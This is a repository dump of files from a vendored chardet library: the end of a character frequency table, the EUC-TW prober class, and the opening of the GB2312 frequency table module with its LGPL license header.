6662 7813,2764, 808,2606,3699,3369,4002,4212,3100,2532, 526,3370,3821,4213, 955,7814, # 6678 1620,4214,2637,2427,7815,1429,3700,1669,1831, 994, 928,7816,3578,1260,7817,7818, # 6694 7819,1948,2288, 741,2919,1626,4215,2729,2455, 867,1184, 362,3371,1392,7820,7821, # 6710 4003,4216,1770,1736,3223,2920,4499,4500,1928,2698,1459,1158,7822,3050,3372,2877, # 6726 1292,1929,2506,2842,3701,1985,1187,2071,2014,2607,4217,7823,2566,2507,2169,3702, # 6742 2483,3299,7824,3703,4501,7825,7826, 666,1003,3005,1022,3579,4218,7827,4502,1813, # 6758 2253, 574,3822,1603, 295,1535, 705,3823,4219, 283, 858, 417,7828,7829,3224,4503, # 6774 4504,3051,1220,1889,1046,2276,2456,4004,1393,1599, 689,2567, 388,4220,7830,2484, # 6790 802,7831,2798,3824,2060,1405,2254,7832,4505,3825,2109,1052,1345,3225,1585,7833, # 6806 809,7834,7835,7836, 575,2730,3477, 956,1552,1469,1144,2323,7837,2324,1560,2457, # 6822 3580,3226,4005, 616,2207,3155,2180,2289,7838,1832,7839,3478,4506,7840,1319,3704, # 6838 3705,1211,3581,1023,3227,1293,2799,7841,7842,7843,3826, 607,2306,3827, 762,2878, # 6854 1439,4221,1360,7844,1485,3052,7845,4507,1038,4222,1450,2061,2638,4223,1379,4508, # 6870 2585,7846,7847,4224,1352,1414,2325,2921,1172,7848,7849,3828,3829,7850,1797,1451, # 6886 7851,7852,7853,7854,2922,4006,4007,2485,2346, 411,4008,4009,3582,3300,3101,4509, # 6902 1561,2664,1452,4010,1375,7855,7856, 47,2959, 316,7857,1406,1591,2923,3156,7858, # 6918 1025,2141,3102,3157, 354,2731, 884,2224,4225,2407, 508,3706, 726,3583, 996,2428, # 6934 3584, 729,7859, 392,2191,1453,4011,4510,3707,7860,7861,2458,3585,2608,1675,2800, # 6950 919,2347,2960,2348,1270,4511,4012, 73,7862,7863, 647,7864,3228,2843,2255,1550, # 6966 1346,3006,7865,1332, 883,3479,7866,7867,7868,7869,3301,2765,7870,1212, 831,1347, # 6982 4226,4512,2326,3830,1863,3053, 720,3831,4513,4514,3832,7871,4227,7872,7873,4515, # 6998 7874,7875,1798,4516,3708,2609,4517,3586,1645,2371,7876,7877,2924, 669,2208,2665, # 7014 2429,7878,2879,7879,7880,1028,3229,7881,4228,2408,7882,2256,1353,7883,7884,4518, # 7030 3158, 518,7885,4013,7886,4229,1960,7887,2142,4230,7888,7889,3007,2349,2350,3833, # 7046 516,1833,1454,4014,2699,4231,4519,2225,2610,1971,1129,3587,7890,2766,7891,2961, # 7062 1422, 577,1470,3008,1524,3373,7892,7893, 432,4232,3054,3480,7894,2586,1455,2508, # 7078 2226,1972,1175,7895,1020,2732,4015,3481,4520,7896,2733,7897,1743,1361,3055,3482, # 7094 2639,4016,4233,4521,2290, 895, 924,4234,2170, 331,2243,3056, 166,1627,3057,1098, # 7110 7898,1232,2880,2227,3374,4522, 657, 403,1196,2372, 542,3709,3375,1600,4235,3483, # 7126 7899,4523,2767,3230, 576, 530,1362,7900,4524,2533,2666,3710,4017,7901, 842,3834, # 7142 7902,2801,2031,1014,4018, 213,2700,3376, 665, 621,4236,7903,3711,2925,2430,7904, # 7158 2431,3302,3588,3377,7905,4237,2534,4238,4525,3589,1682,4239,3484,1380,7906, 724, # 7174 2277, 600,1670,7907,1337,1233,4526,3103,2244,7908,1621,4527,7909, 651,4240,7910, # 7190 1612,4241,2611,7911,2844,7912,2734,2307,3058,7913, 716,2459,3059, 174,1255,2701, # 7206 4019,3590, 548,1320,1398, 728,4020,1574,7914,1890,1197,3060,4021,7915,3061,3062, # 7222 3712,3591,3713, 747,7916, 635,4242,4528,7917,7918,7919,4243,7920,7921,4529,7922, # 7238 3378,4530,2432, 451,7923,3714,2535,2072,4244,2735,4245,4022,7924,1764,4531,7925, # 7254 4246, 350,7926,2278,2390,2486,7927,4247,4023,2245,1434,4024, 488,4532, 458,4248, # 7270 4025,3715, 771,1330,2391,3835,2568,3159,2159,2409,1553,2667,3160,4249,7928,2487, # 7286 2881,2612,1720,2702,4250,3379,4533,7929,2536,4251,7930,3231,4252,2768,7931,2015, # 7302 2736,7932,1155,1017,3716,3836,7933,3303,2308, 201,1864,4253,1430,7934,4026,7935, # 7318 7936,7937,7938,7939,4254,1604,7940, 414,1865, 371,2587,4534,4535,3485,2016,3104, # 7334 4536,1708, 960,4255, 887, 389,2171,1536,1663,1721,7941,2228,4027,2351,2926,1580, # 7350 7942,7943,7944,1744,7945,2537,4537,4538,7946,4539,7947,2073,7948,7949,3592,3380, # 7366 2882,4256,7950,4257,2640,3381,2802, 673,2703,2460, 709,3486,4028,3593,4258,7951, # 7382 1148, 502, 634,7952,7953,1204,4540,3594,1575,4541,2613,3717,7954,3718,3105, 948, # 7398 3232, 121,1745,3837,1110,7955,4259,3063,2509,3009,4029,3719,1151,1771,3838,1488, # 7414 4030,1986,7956,2433,3487,7957,7958,2093,7959,4260,3839,1213,1407,2803, 531,2737, # 7430 2538,3233,1011,1537,7960,2769,4261,3106,1061,7961,3720,3721,1866,2883,7962,2017, # 7446 120,4262,4263,2062,3595,3234,2309,3840,2668,3382,1954,4542,7963,7964,3488,1047, # 7462 2704,1266,7965,1368,4543,2845, 649,3383,3841,2539,2738,1102,2846,2669,7966,7967, # 7478 1999,7968,1111,3596,2962,7969,2488,3842,3597,2804,1854,3384,3722,7970,7971,3385, # 7494 2410,2884,3304,3235,3598,7972,2569,7973,3599,2805,4031,1460, 856,7974,3600,7975, # 7510 2885,2963,7976,2886,3843,7977,4264, 632,2510, 875,3844,1697,3845,2291,7978,7979, # 7526 4544,3010,1239, 580,4545,4265,7980, 914, 936,2074,1190,4032,1039,2123,7981,7982, # 7542 7983,3386,1473,7984,1354,4266,3846,7985,2172,3064,4033, 915,3305,4267,4268,3306, # 7558 1605,1834,7986,2739, 398,3601,4269,3847,4034, 328,1912,2847,4035,3848,1331,4270, # 7574 3011, 937,4271,7987,3602,4036,4037,3387,2160,4546,3388, 524, 742, 538,3065,1012, # 7590 7988,7989,3849,2461,7990, 658,1103, 225,3850,7991,7992,4547,7993,4548,7994,3236, # 7606 1243,7995,4038, 963,2246,4549,7996,2705,3603,3161,7997,7998,2588,2327,7999,4550, # 7622 8000,8001,8002,3489,3307, 957,3389,2540,2032,1930,2927,2462, 870,2018,3604,1746, # 7638 2770,2771,2434,2463,8003,3851,8004,3723,3107,3724,3490,3390,3725,8005,1179,3066, # 7654 8006,3162,2373,4272,3726,2541,3163,3108,2740,4039,8007,3391,1556,2542,2292, 977, # 7670 2887,2033,4040,1205,3392,8008,1765,3393,3164,2124,1271,1689, 714,4551,3491,8009, # 7686 2328,3852, 533,4273,3605,2181, 617,8010,2464,3308,3492,2310,8011,8012,3165,8013, # 7702 8014,3853,1987, 618, 427,2641,3493,3394,8015,8016,1244,1690,8017,2806,4274,4552, # 7718 8018,3494,8019,8020,2279,1576, 473,3606,4275,3395, 972,8021,3607,8022,3067,8023, # 7734 8024,4553,4554,8025,3727,4041,4042,8026, 153,4555, 356,8027,1891,2888,4276,2143, # 7750 408, 803,2352,8028,3854,8029,4277,1646,2570,2511,4556,4557,3855,8030,3856,4278, # 7766 8031,2411,3396, 752,8032,8033,1961,2964,8034, 746,3012,2465,8035,4279,3728, 698, # 7782 4558,1892,4280,3608,2543,4559,3609,3857,8036,3166,3397,8037,1823,1302,4043,2706, # 7798 3858,1973,4281,8038,4282,3167, 823,1303,1288,1236,2848,3495,4044,3398, 774,3859, # 7814 8039,1581,4560,1304,2849,3860,4561,8040,2435,2161,1083,3237,4283,4045,4284, 344, # 7830 1173, 288,2311, 454,1683,8041,8042,1461,4562,4046,2589,8043,8044,4563, 985, 894, # 7846 8045,3399,3168,8046,1913,2928,3729,1988,8047,2110,1974,8048,4047,8049,2571,1194, # 7862 425,8050,4564,3169,1245,3730,4285,8051,8052,2850,8053, 636,4565,1855,3861, 760, # 7878 1799,8054,4286,2209,1508,4566,4048,1893,1684,2293,8055,8056,8057,4287,4288,2210, # 7894 479,8058,8059, 832,8060,4049,2489,8061,2965,2490,3731, 990,3109, 627,1814,2642, # 7910 4289,1582,4290,2125,2111,3496,4567,8062, 799,4291,3170,8063,4568,2112,1737,3013, # 7926 1018, 543, 754,4292,3309,1676,4569,4570,4050,8064,1489,8065,3497,8066,2614,2889, # 7942 4051,8067,8068,2966,8069,8070,8071,8072,3171,4571,4572,2182,1722,8073,3238,3239, # 7958 1842,3610,1715, 481, 365,1975,1856,8074,8075,1962,2491,4573,8076,2126,3611,3240, # 7974 433,1894,2063,2075,8077, 602,2741,8078,8079,8080,8081,8082,3014,1628,3400,8083, # 7990 3172,4574,4052,2890,4575,2512,8084,2544,2772,8085,8086,8087,3310,4576,2891,8088, # 8006 4577,8089,2851,4578,4579,1221,2967,4053,2513,8090,8091,8092,1867,1989,8093,8094, # 8022 8095,1895,8096,8097,4580,1896,4054, 318,8098,2094,4055,4293,8099,8100, 485,8101, # 8038 938,3862, 553,2670, 116,8102,3863,3612,8103,3498,2671,2773,3401,3311,2807,8104, # 8054 3613,2929,4056,1747,2930,2968,8105,8106, 207,8107,8108,2672,4581,2514,8109,3015, # 8070 890,3614,3864,8110,1877,3732,3402,8111,2183,2353,3403,1652,8112,8113,8114, 941, # 8086 2294, 208,3499,4057,2019, 330,4294,3865,2892,2492,3733,4295,8115,8116,8117,8118, # 8102 ) ================================================ FILE: thirdparty/chardet/euctwprober.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is mozilla.org code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .mbcharsetprober import MultiByteCharSetProber from .codingstatemachine import CodingStateMachine from .chardistribution import EUCTWDistributionAnalysis from .mbcssm import EUCTW_SM_MODEL class EUCTWProber(MultiByteCharSetProber): def __init__(self): super(EUCTWProber, self).__init__() self.coding_sm = CodingStateMachine(EUCTW_SM_MODEL) self.distribution_analyzer = EUCTWDistributionAnalysis() self.reset() @property def charset_name(self): return "EUC-TW" @property def language(self): return "Taiwan" ================================================ FILE: thirdparty/chardet/gb2312freq.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### # GB2312 most frequently used character table # # Char to FreqOrder table , from hz6763 # 512 --> 0.79 -- 0.79 # 1024 --> 0.92 -- 0.13 # 2048 --> 0.98 -- 0.06 # 6768 --> 1.00 -- 0.02 # # Ideal Distribution Ratio = 0.79135/(1-0.79135) = 3.79 # Random Distribution Ration = 512 / (3755 - 512) = 0.157 # # Typical Distribution Ratio about 25% of Ideal one, still much higher that RDR GB2312_TYPICAL_DISTRIBUTION_RATIO = 0.9 GB2312_TABLE_SIZE = 3760 GB2312_CHAR_TO_FREQ_ORDER = ( 1671, 749,1443,2364,3924,3807,2330,3921,1704,3463,2691,1511,1515, 572,3191,2205, 2361, 224,2558, 479,1711, 963,3162, 440,4060,1905,2966,2947,3580,2647,3961,3842, 2204, 869,4207, 970,2678,5626,2944,2956,1479,4048, 514,3595, 588,1346,2820,3409, 249,4088,1746,1873,2047,1774, 581,1813, 358,1174,3590,1014,1561,4844,2245, 670, 1636,3112, 889,1286, 953, 556,2327,3060,1290,3141, 613, 185,3477,1367, 850,3820, 1715,2428,2642,2303,2732,3041,2562,2648,3566,3946,1349, 388,3098,2091,1360,3585, 152,1687,1539, 738,1559, 59,1232,2925,2267,1388,1249,1741,1679,2960, 151,1566, 1125,1352,4271, 924,4296, 385,3166,4459, 310,1245,2850, 70,3285,2729,3534,3575, 2398,3298,3466,1960,2265, 217,3647, 864,1909,2084,4401,2773,1010,3269,5152, 853, 3051,3121,1244,4251,1895, 364,1499,1540,2313,1180,3655,2268, 562, 715,2417,3061, 544, 336,3768,2380,1752,4075, 950, 280,2425,4382, 183,2759,3272, 333,4297,2155, 1688,2356,1444,1039,4540, 736,1177,3349,2443,2368,2144,2225, 565, 196,1482,3406, 927,1335,4147, 692, 878,1311,1653,3911,3622,1378,4200,1840,2969,3149,2126,1816, 2534,1546,2393,2760, 737,2494, 13, 447, 245,2747, 38,2765,2129,2589,1079, 606, 360, 471,3755,2890, 404, 848, 699,1785,1236, 370,2221,1023,3746,2074,2026,2023, 2388,1581,2119, 812,1141,3091,2536,1519, 804,2053, 406,1596,1090, 784, 548,4414, 1806,2264,2936,1100, 343,4114,5096, 622,3358, 743,3668,1510,1626,5020,3567,2513, 3195,4115,5627,2489,2991, 24,2065,2697,1087,2719, 48,1634, 315, 68, 985,2052, 198,2239,1347,1107,1439, 597,2366,2172, 871,3307, 919,2487,2790,1867, 236,2570, 1413,3794, 906,3365,3381,1701,1982,1818,1524,2924,1205, 616,2586,2072,2004, 575, 253,3099, 32,1365,1182, 197,1714,2454,1201, 554,3388,3224,2748, 756,2587, 250, 2567,1507,1517,3529,1922,2761,2337,3416,1961,1677,2452,2238,3153, 615, 911,1506, 1474,2495,1265,1906,2749,3756,3280,2161, 898,2714,1759,3450,2243,2444, 563, 26, 3286,2266,3769,3344,2707,3677, 611,1402, 531,1028,2871,4548,1375, 261,2948, 835, 1190,4134, 353, 840,2684,1900,3082,1435,2109,1207,1674, 329,1872,2781,4055,2686, 2104, 608,3318,2423,2957,2768,1108,3739,3512,3271,3985,2203,1771,3520,1418,2054, 1681,1153, 225,1627,2929, 162,2050,2511,3687,1954, 124,1859,2431,1684,3032,2894, 585,4805,3969,2869,2704,2088,2032,2095,3656,2635,4362,2209, 256, 518,2042,2105, 3777,3657, 643,2298,1148,1779, 190, 989,3544, 414, 11,2135,2063,2979,1471, 403, 3678, 126, 770,1563, 671,2499,3216,2877, 600,1179, 307,2805,4937,1268,1297,2694, 252,4032,1448,1494,1331,1394, 127,2256, 222,1647,1035,1481,3056,1915,1048, 873, 3651, 210, 33,1608,2516, 200,1520, 415, 102, 0,3389,1287, 817, 91,3299,2940, 836,1814, 549,2197,1396,1669,2987,3582,2297,2848,4528,1070, 687, 20,1819, 121, 1552,1364,1461,1968,2617,3540,2824,2083, 177, 948,4938,2291, 110,4549,2066, 648, 3359,1755,2110,2114,4642,4845,1693,3937,3308,1257,1869,2123, 208,1804,3159,2992, 2531,2549,3361,2418,1350,2347,2800,2568,1291,2036,2680, 72, 842,1990, 212,1233, 1154,1586, 75,2027,3410,4900,1823,1337,2710,2676, 728,2810,1522,3026,4995, 157, 755,1050,4022, 710, 785,1936,2194,2085,1406,2777,2400, 150,1250,4049,1206, 807, 1910, 534, 529,3309,1721,1660, 274, 39,2827, 661,2670,1578, 925,3248,3815,1094, 4278,4901,4252, 41,1150,3747,2572,2227,4501,3658,4902,3813,3357,3617,2884,2258, 887, 538,4187,3199,1294,2439,3042,2329,2343,2497,1255, 107, 543,1527, 521,3478, 3568, 194,5062, 15, 961,3870,1241,1192,2664, 66,5215,3260,2111,1295,1127,2152, 3805,4135, 901,1164,1976, 398,1278, 530,1460, 748, 904,1054,1966,1426, 53,2909, 509, 523,2279,1534, 536,1019, 239,1685, 460,2353, 673,1065,2401,3600,4298,2272, 1272,2363, 284,1753,3679,4064,1695, 81, 815,2677,2757,2731,1386, 859, 500,4221, 2190,2566, 757,1006,2519,2068,1166,1455, 337,2654,3203,1863,1682,1914,3025,1252, 1409,1366, 847, 714,2834,2038,3209, 964,2970,1901, 885,2553,1078,1756,3049, 301, 1572,3326, 688,2130,1996,2429,1805,1648,2930,3421,2750,3652,3088, 262,1158,1254, 389,1641,1812, 526,1719, 923,2073,1073,1902, 468, 489,4625,1140, 857,2375,3070, 3319,2863, 380, 116,1328,2693,1161,2244, 273,1212,1884,2769,3011,1775,1142, 461, 3066,1200,2147,2212, 790, 702,2695,4222,1601,1058, 434,2338,5153,3640, 67,2360, 4099,2502, 618,3472,1329, 416,1132, 830,2782,1807,2653,3211,3510,1662, 192,2124, 296,3979,1739,1611,3684, 23, 118, 324, 446,1239,1225, 293,2520,3814,3795,2535, 3116, 17,1074, 467,2692,2201, 387,2922, 45,1326,3055,1645,3659,2817, 958, 243, 1903,2320,1339,2825,1784,3289, 356, 576, 865,2315,2381,3377,3916,1088,3122,1713, 1655, 935, 628,4689,1034,1327, 441, 800, 720, 894,1979,2183,1528,5289,2702,1071, 4046,3572,2399,1571,3281, 79, 761,1103, 327, 134, 758,1899,1371,1615, 879, 442, 215,2605,2579, 173,2048,2485,1057,2975,3317,1097,2253,3801,4263,1403,1650,2946, 814,4968,3487,1548,2644,1567,1285, 2, 295,2636, 97, 946,3576, 832, 141,4257, 3273, 760,3821,3521,3156,2607, 949,1024,1733,1516,1803,1920,2125,2283,2665,3180, 1501,2064,3560,2171,1592, 803,3518,1416, 732,3897,4258,1363,1362,2458, 119,1427, 602,1525,2608,1605,1639,3175, 694,3064, 10, 465, 76,2000,4846,4208, 444,3781, 1619,3353,2206,1273,3796, 740,2483, 320,1723,2377,3660,2619,1359,1137,1762,1724, 2345,2842,1850,1862, 912, 821,1866, 612,2625,1735,2573,3369,1093, 844, 89, 937, 930,1424,3564,2413,2972,1004,3046,3019,2011, 711,3171,1452,4178, 428, 801,1943, 432, 445,2811, 206,4136,1472, 730, 349, 73, 397,2802,2547, 998,1637,1167, 789, 396,3217, 154,1218, 716,1120,1780,2819,4826,1931,3334,3762,2139,1215,2627, 552, 3664,3628,3232,1405,2383,3111,1356,2652,3577,3320,3101,1703, 640,1045,1370,1246, 4996, 371,1575,2436,1621,2210, 984,4033,1734,2638, 16,4529, 663,2755,3255,1451, 3917,2257,1253,1955,2234,1263,2951, 214,1229, 617, 485, 359,1831,1969, 473,2310, 750,2058, 165, 80,2864,2419, 361,4344,2416,2479,1134, 796,3726,1266,2943, 860, 2715, 938, 390,2734,1313,1384, 248, 202, 877,1064,2854, 522,3907, 279,1602, 297, 2357, 395,3740, 137,2075, 944,4089,2584,1267,3802, 62,1533,2285, 178, 176, 780, 2440, 201,3707, 590, 478,1560,4354,2117,1075, 30, 74,4643,4004,1635,1441,2745, 776,2596, 238,1077,1692,1912,2844, 605, 499,1742,3947, 241,3053, 980,1749, 936, 2640,4511,2582, 515,1543,2162,5322,2892,2993, 890,2148,1924, 665,1827,3581,1032, 968,3163, 339,1044,1896, 270, 583,1791,1720,4367,1194,3488,3669, 43,2523,1657, 163,2167, 290,1209,1622,3378, 550, 634,2508,2510, 695,2634,2384,2512,1476,1414, 220,1469,2341,2138,2852,3183,2900,4939,2865,3502,1211,3680, 854,3227,1299,2976, 3172, 186,2998,1459, 443,1067,3251,1495, 321,1932,3054, 909, 753,1410,1828, 436, 2441,1119,1587,3164,2186,1258, 227, 231,1425,1890,3200,3942, 247, 959, 725,5254, 2741, 577,2158,2079, 929, 120, 174, 838,2813, 591,1115, 417,2024, 40,3240,1536, 1037, 291,4151,2354, 632,1298,2406,2500,3535,1825,1846,3451, 205,1171, 345,4238, 18,1163, 811, 685,2208,1217, 425,1312,1508,1175,4308,2552,1033, 587,1381,3059, 2984,3482, 340,1316,4023,3972, 792,3176, 519, 777,4690, 918, 933,4130,2981,3741, 90,3360,2911,2200,5184,4550, 609,3079,2030, 272,3379,2736, 363,3881,1130,1447, 286, 779, 357,1169,3350,3137,1630,1220,2687,2391, 747,1277,3688,2618,2682,2601, 1156,3196,5290,4034,3102,1689,3596,3128, 874, 219,2783, 798, 508,1843,2461, 269, 1658,1776,1392,1913,2983,3287,2866,2159,2372, 829,4076, 46,4253,2873,1889,1894, 915,1834,1631,2181,2318, 298, 664,2818,3555,2735, 954,3228,3117, 527,3511,2173, 681,2712,3033,2247,2346,3467,1652, 155,2164,3382, 113,1994, 450, 899, 494, 994, 1237,2958,1875,2336,1926,3727, 545,1577,1550, 633,3473, 204,1305,3072,2410,1956, 2471, 707,2134, 841,2195,2196,2663,3843,1026,4940, 990,3252,4997, 368,1092, 437, 3212,3258,1933,1829, 675,2977,2893, 412, 943,3723,4644,3294,3283,2230,2373,5154, 2389,2241,2661,2323,1404,2524, 593, 787, 677,3008,1275,2059, 438,2709,2609,2240, 2269,2246,1446, 36,1568,1373,3892,1574,2301,1456,3962, 693,2276,5216,2035,1143, 2720,1919,1797,1811,2763,4137,2597,1830,1699,1488,1198,2090, 424,1694, 312,3634, 3390,4179,3335,2252,1214, 561,1059,3243,2295,2561, 975,5155,2321,2751,3772, 472, 1537,3282,3398,1047,2077,2348,2878,1323,3340,3076, 690,2906, 51, 369, 170,3541, 1060,2187,2688,3670,2541,1083,1683, 928,3918, 459, 109,4427, 599,3744,4286, 143, 2101,2730,2490, 82,1588,3036,2121, 281,1860, 477,4035,1238,2812,3020,2716,3312, 1530,2188,2055,1317, 843, 636,1808,1173,3495, 649, 181,1002, 147,3641,1159,2414, 3750,2289,2795, 813,3123,2610,1136,4368, 5,3391,4541,2174, 420, 429,1728, 754, 1228,2115,2219, 347,2223,2733, 735,1518,3003,2355,3134,1764,3948,3329,1888,2424, 1001,1234,1972,3321,3363,1672,1021,1450,1584, 226, 765, 655,2526,3404,3244,2302, 3665, 731, 594,2184, 319,1576, 621, 658,2656,4299,2099,3864,1279,2071,2598,2739, 795,3086,3699,3908,1707,2352,2402,1382,3136,2475,1465,4847,3496,3865,1085,3004, 2591,1084, 213,2287,1963,3565,2250, 822, 793,4574,3187,1772,1789,3050, 595,1484, 1959,2770,1080,2650, 456, 422,2996, 940,3322,4328,4345,3092,2742, 965,2784, 739, 4124, 952,1358,2498,2949,2565, 332,2698,2378, 660,2260,2473,4194,3856,2919, 535, 1260,2651,1208,1428,1300,1949,1303,2942, 433,2455,2450,1251,1946, 614,1269, 641, 1306,1810,2737,3078,2912, 564,2365,1419,1415,1497,4460,2367,2185,1379,3005,1307, 3218,2175,1897,3063, 682,1157,4040,4005,1712,1160,1941,1399, 394, 402,2952,1573, 1151,2986,2404, 862, 299,2033,1489,3006, 346, 171,2886,3401,1726,2932, 168,2533, 47,2507,1030,3735,1145,3370,1395,1318,1579,3609,4560,2857,4116,1457,2529,1965, 504,1036,2690,2988,2405, 745,5871, 849,2397,2056,3081, 863,2359,3857,2096, 99, 1397,1769,2300,4428,1643,3455,1978,1757,3718,1440, 35,4879,3742,1296,4228,2280, 160,5063,1599,2013, 166, 520,3479,1646,3345,3012, 490,1937,1545,1264,2182,2505, 1096,1188,1369,1436,2421,1667,2792,2460,1270,2122, 727,3167,2143, 806,1706,1012, 1800,3037, 960,2218,1882, 805, 139,2456,1139,1521, 851,1052,3093,3089, 342,2039, 744,5097,1468,1502,1585,2087, 223, 939, 326,2140,2577, 892,2481,1623,4077, 982, 3708, 135,2131, 87,2503,3114,2326,1106, 876,1616, 547,2997,2831,2093,3441,4530, 4314, 9,3256,4229,4148, 659,1462,1986,1710,2046,2913,2231,4090,4880,5255,3392, 3274,1368,3689,4645,1477, 705,3384,3635,1068,1529,2941,1458,3782,1509, 100,1656, 2548, 718,2339, 408,1590,2780,3548,1838,4117,3719,1345,3530, 717,3442,2778,3220, 2898,1892,4590,3614,3371,2043,1998,1224,3483, 891, 635, 584,2559,3355, 733,1766, 1729,1172,3789,1891,2307, 781,2982,2271,1957,1580,5773,2633,2005,4195,3097,1535, 3213,1189,1934,5693,3262, 586,3118,1324,1598, 517,1564,2217,1868,1893,4445,3728, 2703,3139,1526,1787,1992,3882,2875,1549,1199,1056,2224,1904,2711,5098,4287, 338, 1993,3129,3489,2689,1809,2815,1997, 957,1855,3898,2550,3275,3057,1105,1319, 627, 1505,1911,1883,3526, 698,3629,3456,1833,1431, 746, 77,1261,2017,2296,1977,1885, 125,1334,1600, 525,1798,1109,2222,1470,1945, 559,2236,1186,3443,2476,1929,1411, 2411,3135,1777,3372,2621,1841,1613,3229, 668,1430,1839,2643,2916, 195,1989,2671, 2358,1387, 629,3205,2293,5256,4439, 123,1310, 888,1879,4300,3021,3605,1003,1162, 3192,2910,2010, 140,2395,2859, 55,1082,2012,2901, 662, 419,2081,1438, 680,2774, 4654,3912,1620,1731,1625,5035,4065,2328, 512,1344, 802,5443,2163,2311,2537, 524, 3399, 98,1155,2103,1918,2606,3925,2816,1393,2465,1504,3773,2177,3963,1478,4346, 180,1113,4655,3461,2028,1698, 833,2696,1235,1322,1594,4408,3623,3013,3225,2040, 3022, 541,2881, 607,3632,2029,1665,1219, 639,1385,1686,1099,2803,3231,1938,3188, 2858, 427, 676,2772,1168,2025, 454,3253,2486,3556, 230,1950, 580, 791,1991,1280, 1086,1974,2034, 630, 257,3338,2788,4903,1017, 86,4790, 966,2789,1995,1696,1131, 259,3095,4188,1308, 179,1463,5257, 289,4107,1248, 42,3413,1725,2288, 896,1947, 774,4474,4254, 604,3430,4264, 392,2514,2588, 452, 237,1408,3018, 988,4531,1970, 3034,3310, 540,2370,1562,1288,2990, 502,4765,1147, 4,1853,2708, 207, 294,2814, 4078,2902,2509, 684, 34,3105,3532,2551, 644, 709,2801,2344, 573,1727,3573,3557, 2021,1081,3100,4315,2100,3681, 199,2263,1837,2385, 146,3484,1195,2776,3949, 997, 1939,3973,1008,1091,1202,1962,1847,1149,4209,5444,1076, 493, 117,5400,2521, 972, 1490,2934,1796,4542,2374,1512,2933,2657, 413,2888,1135,2762,2314,2156,1355,2369, 766,2007,2527,2170,3124,2491,2593,2632,4757,2437, 234,3125,3591,1898,1750,1376, 1942,3468,3138, 570,2127,2145,3276,4131, 962, 132,1445,4196, 19, 941,3624,3480, 3366,1973,1374,4461,3431,2629, 283,2415,2275, 808,2887,3620,2112,2563,1353,3610, 955,1089,3103,1053, 96, 88,4097, 823,3808,1583, 399, 292,4091,3313, 421,1128, 642,4006, 903,2539,1877,2082, 596, 29,4066,1790, 722,2157, 130, 995,1569, 769, 1485, 464, 513,2213, 288,1923,1101,2453,4316, 133, 486,2445, 50, 625, 487,2207, 57, 423, 481,2962, 159,3729,1558, 491, 303, 482, 501, 240,2837, 112,3648,2392, 1783, 362, 8,3433,3422, 610,2793,3277,1390,1284,1654, 21,3823, 734, 367, 623, 193, 287, 374,1009,1483, 816, 476, 313,2255,2340,1262,2150,2899,1146,2581, 782, 2116,1659,2018,1880, 255,3586,3314,1110,2867,2137,2564, 986,2767,5185,2006, 650, 158, 926, 762, 881,3157,2717,2362,3587, 306,3690,3245,1542,3077,2427,1691,2478, 2118,2985,3490,2438, 539,2305, 983, 129,1754, 355,4201,2386, 827,2923, 104,1773, 2838,2771, 411,2905,3919, 376, 767, 122,1114, 828,2422,1817,3506, 266,3460,1007, 1609,4998, 945,2612,4429,2274, 726,1247,1964,2914,2199,2070,4002,4108, 657,3323, 1422, 579, 455,2764,4737,1222,2895,1670, 824,1223,1487,2525, 558, 861,3080, 598, 2659,2515,1967, 752,2583,2376,2214,4180, 977, 704,2464,4999,2622,4109,1210,2961, 819,1541, 142,2284, 44, 418, 457,1126,3730,4347,4626,1644,1876,3671,1864, 302, 1063,5694, 624, 723,1984,3745,1314,1676,2488,1610,1449,3558,3569,2166,2098, 409, 1011,2325,3704,2306, 818,1732,1383,1824,1844,3757, 999,2705,3497,1216,1423,2683, 2426,2954,2501,2726,2229,1475,2554,5064,1971,1794,1666,2014,1343, 783, 724, 191, 2434,1354,2220,5065,1763,2752,2472,4152, 131, 175,2885,3434, 92,1466,4920,2616, 3871,3872,3866, 128,1551,1632, 669,1854,3682,4691,4125,1230, 188,2973,3290,1302, 1213, 560,3266, 917, 763,3909,3249,1760, 868,1958, 764,1782,2097, 145,2277,3774, 4462, 64,1491,3062, 971,2132,3606,2442, 221,1226,1617, 218, 323,1185,3207,3147, 571, 619,1473,1005,1744,2281, 449,1887,2396,3685, 275, 375,3816,1743,3844,3731, 845,1983,2350,4210,1377, 773, 967,3499,3052,3743,2725,4007,1697,1022,3943,1464, 3264,2855,2722,1952,1029,2839,2467, 84,4383,2215, 820,1391,2015,2448,3672, 377, 1948,2168, 797,2545,3536,2578,2645, 94,2874,1678, 405,1259,3071, 771, 546,1315, 470,1243,3083, 895,2468, 981, 969,2037, 846,4181, 653,1276,2928, 14,2594, 557, 3007,2474, 156, 902,1338,1740,2574, 537,2518, 973,2282,2216,2433,1928, 138,2903, 1293,2631,1612, 646,3457, 839,2935, 111, 496,2191,2847, 589,3186, 149,3994,2060, 4031,2641,4067,3145,1870, 37,3597,2136,1025,2051,3009,3383,3549,1121,1016,3261, 1301, 251,2446,2599,2153, 872,3246, 637, 334,3705, 831, 884, 921,3065,3140,4092, 2198,1944, 246,2964, 108,2045,1152,1921,2308,1031, 